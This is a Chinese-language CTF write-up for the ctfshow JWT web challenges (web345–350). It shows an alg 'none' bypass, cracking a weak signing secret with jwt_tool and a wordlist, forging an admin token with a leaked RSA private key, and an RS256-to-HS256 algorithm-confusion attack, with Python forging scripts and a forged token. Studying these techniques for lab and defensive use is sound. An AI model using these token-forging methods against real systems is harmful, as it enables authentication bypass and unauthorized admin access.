ctfshow - web - JWT

发布于:2025-09-10 ⋅ 阅读:(14) ⋅ 点赞:(0)

web345

做题思路:查看源码,发现/admin,访问跳转到/index.php,BP抓包,查看jwt内容

这里jwt中header头部中加密类型不能为空,所以更改为HS256,然后进行jwt加密,更换cookie

web346

和上一题相同,出现了jwt的第三部分,签名,但是该题目没有使用签名的作用,需要将payload部分更改为admin用户,并且不需要加密,因此需要将 'alg' 字段改为 'none'。jwt加密后提交

web347

需要将签名进行弱口令爆破。使用爆破出的密码进行jwt加密,得到答案。

使用jwt_gui进行jwt密码的破解无法正常破解出密码,是header模块存在问题。在jwt_tools中增加爆破字典password.txt,进行爆破:

python3.11 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczMjE5NTYzOCwiZXhwIjoxNzMyMjAyODM4LCJuYmYiOjE3MzIxOTU2MzgsInN1YiI6InVzZXIiLCJqdGkiOiI2MDFjMGJiNTQ1Mzg2MWRjOWFmNzU4NzJhNTI1M2U4MiJ9.q5I5ZoRfZmpK749N95JynDnatvSZvHxsq39hWQiMSqA -C -d password.txt

利用python脚本生成payload。

web348

知识点:jwt爆破

仍然是访问/admin/,抓包然后获取到cookie值中的jwt,然后利用jwt_tools进行解码,爆破出签名的明文。在python脚本中进行加密。在BP中进行重发送,得到flag。

在python脚本中进行加密需要更改sub的值为admin。(更改用户的身份)

web349

知识点:jwt私钥泄露题目。

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});
​
router.post('/',function(req,res,next){
    var flag="flag_here";
    res.type('html');
    var auth = req.cookies.auth;
    var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
    jwt.verify(auth, cert, function(err, decoded) {
      if(decoded.user==='admin'){
        res.end(flag);
      }else{
        res.end('you are not admin');
      }
    });
});

根据源码 var privateKey = fs.readFileSync(process.cwd()+'//public//private.key') | var cert = fs.readFileSync(process.cwd()+'//public/public.key') 可以得出私钥和公钥都可以下载,所以通过泄露的私钥可以伪造jwt,从而获得flag。

import jwt
​
private = open('private.key', 'rb').read()
payload = {'user': 'admin'}
jwts = jwt.encode(payload=payload, key=private, algorithm='RS256')
print(jwts)
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM

通过BP抓包修改cookie值中的jwt,由于源码中提示通过post传参得到flag,所以需要更改传参方式为post。

web350

知识点:jwt公钥泄露

源码可知加密算法为RS256,公钥和私钥肯定是不一样的,那么这里可以使用HS256算法替换RS256,也就是将非对称加密算法替换为对称加密算法
​
可替换原因【HS256算法使用密钥为所有消息进行签名和验证 而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证 如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名 由于可以获取公钥,因此者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名 这样的话,后端代码使用RSA公钥+HS256算法进行签名验证】

解决方法:替换签名的加密算法RS256为HS256。

import jwt
​
public = open('public.key', 'rb').read()
payload = {'user': 'admin'}
jwts = jwt.encode(payload=payload, key=public, algorithm='HS256')
print(jwts)

仍然是需要更换get方法为post方法。


网站公告

今日签到

点亮在社区的每一天
去签到